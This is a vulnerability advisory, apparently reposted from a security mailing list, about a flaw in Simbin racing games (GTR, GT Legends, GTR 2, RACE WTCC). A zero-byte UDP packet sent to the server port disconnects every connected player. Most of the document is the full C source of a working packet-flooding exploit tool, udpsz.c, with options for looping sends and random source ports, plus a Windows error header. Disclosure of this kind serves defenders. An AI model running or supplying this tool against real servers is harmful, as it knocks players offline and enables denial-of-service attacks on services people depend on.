[NT] Simbin Racing Games Players Disconnection

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Simbin Racing Games Players Disconnection
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SUMMARY

<http://www.simbin.se> Simbin is "a well known software house specialized
in the developing of racing games deeply developed to extreme simulation.
All their games are very recent, GTR was released in November 2004 while
Race WTCC exactly two years later". A vulnerability in Simbin allows
remote attackers to cause the players of the game to get disconnected by
sending them a malformed packet.

DETAILS

Vulnerable Systems:
* GTR - FIA GT Racing Game version 1.5.0.0 and prior
* GT Legends version 1.1.0.0 and prior
* GTR 2 version 1.1 and prior
* RACE - The WTCC Game version 1.0 (0.6.3.0) and prior

The problem is very simple, an UDP packet of zero bytes (empty) sent to
the main port of the server (usually 48942 for Race WTCC and 34297 for the
other games) forces the disconnection of all the clients connected to it.

The attacker needs only to send one packet (spoofing possible) and the
clients in the game will be immediately kicked with the message "Lost
connection with the Host". Then they can re-join again... but can be
re-kicked in the same way too.

Exploit:
udpsz.c
/*
Copyright 2006 Luigi Auriemma

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA

http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <ctype.h>
#include <sys/stat.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define sleep Sleep
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif

#define VER "0.1"

u_char *load_file(u_char *filename, int *size);
int create_socket(void);
u_char get_byte(u_char *data);
int get_num(u_char *data);
int create_rand_byte(u_char *data, int len, u_int *seed);
u_int resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
u_int seed;
int sd = 0,
i,
size,
randport = 0,
randbyte = 0,
loop = 0,
loopms = 0,
chr = 0;
u_short port,
sport = 0;
u_char *buff,
*filename = NULL;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
"UDPSZ "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 4) {
printf("\n"
"Usage: %s [options] <host> <port> <pck_size>\n"
"\n"
"Options:\n"
"-b BYTE fill the packet with byte BYTE, which can be a
char or a hex\n"
" example: -b a or -b 0x61 or -b 61\n"
"-r random packet content\n"
"-s packet filled with incremental byte (use -b for
the start byte)\n"
"-p PORT use source port PORT\n"
"-R random source port\n"
"-S sequential source port\n"
"-f FILE load the content of the packet from FILE, the size
will be\n"
" truncated at pck_size, set it to -1 for using the
file size\n"
"-l MS send infinite packets with a delay of MS
milliseconds\n"
"\n", argv[0]);
exit(1);
}

argc -= 3;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'b': chr = get_byte(argv[++i]); break;
case 'r': randbyte = 1; break;
case 's': randbyte = 2; break;
case 'p': sport = get_num(argv[++i]); break;
case 'R': randport = 1; break;
case 'S': randport = 2; break;
case 'l': {
loop = 1;
loopms = get_num(argv[++i]);
} break;
case 'f': filename = argv[++i]; break;
default: {
printf("\nError: wrong command-line argument (%s)\n\n",
argv[i]);
exit(1);
} break;
}
}

port = get_num(argv[argc + 1]);
size = get_num(argv[argc + 2]);

peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

seed = time(NULL);

if(filename) {
buff = load_file(filename, &size);

} else {
buff = malloc(size);
if(!buff) std_err();

if(!randbyte) {
memset(buff, chr, size);
}
}
printf("- packet size: %d\n", size);

if(randport) {
peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(~seed);
peerl.sin_family = AF_INET;
} else {
sd = create_socket();
}

if(sport && !randport) {
peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = htons(sport);
peerl.sin_family = AF_INET;
printf("- source port: %hu\n", sport);
if(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl))
< 0) std_err();
}

#ifndef WIN32
loopms *= 1000;
#endif

printf("- send packets: ");
for(;;) {
if(randbyte == 2) {
memset(buff, chr++, size);
} else if(randbyte == 1) {
create_rand_byte(buff, size, &seed);
}
if(randport) {
sd = create_socket();
do {
if(randport == 2) { // sequential
peerl.sin_port = htons(sport++);
} else {
peerl.sin_port += seed; // not really random
}
} while(bind(sd, (struct sockaddr *)&peerl, sizeof(peerl)) <
0);
}

if(sendto(sd, buff, size, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
fputc('.', stdout);

if(randport) {
close(sd);
}

if(!loop) break;
#ifdef WIN32
sleep(loopms);
#else
usleep(loopms);
#endif
}

if(!randport) {
close(sd);
}
free(buff);
printf("\n- finished\n");
return(0);
}

u_char *load_file(u_char *filename, int *size) {
struct stat xstat;
FILE *fd;
u_char *buff;

printf("- load file: %s\n", filename);
fd = fopen(filename, "rb");
if(!fd) std_err();

fstat(fileno(fd), &xstat);
if((*size < 0) || (*size > xstat.st_size)) {
*size = xstat.st_size;
}

buff = malloc(*size);
if(!buff) std_err();

fread(buff, *size, 1, fd);
fclose(fd);
return(buff);
}



int create_socket(void) {
int sd,
on = 1;

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)); //
useful?
return(sd);
}

u_char get_byte(u_char *data) {
int chr;

if(strlen(data) == 1) {
return(data[0]);
}
if(tolower(data[1]) == 'x') {
data += 2;
} else if(tolower(data[0]) == 'x') {
data++;
}
sscanf(data, "%x", &chr);
return(chr);
}

int get_num(u_char *data) {
int num;

if(tolower(data[1]) == 'x') {
sscanf(data + 2, "%x", &num);

} else if(tolower(data[0]) == 'x') {
sscanf(data + 1, "%x", &num);

} else {
sscanf(data, "%d", &num);
}
return(num);
}



int create_rand_byte(u_char *data, int len, u_int *seed) {
u_int rnd;
u_char *p;

rnd = *seed;
p = data;

while(len--) {
rnd = (rnd * 0x343FD) + 0x269EC3;
rnd >>= 3; // useless???
*p++ = rnd & 0xff;
}

*seed = rnd;
return(p - data);
}

u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

winerr.h
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>

void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol
family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed";
break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED,
NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested
type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/simbinzero-adv.txt>
http://aluigi.altervista.org/adv/simbinzero-adv.txt



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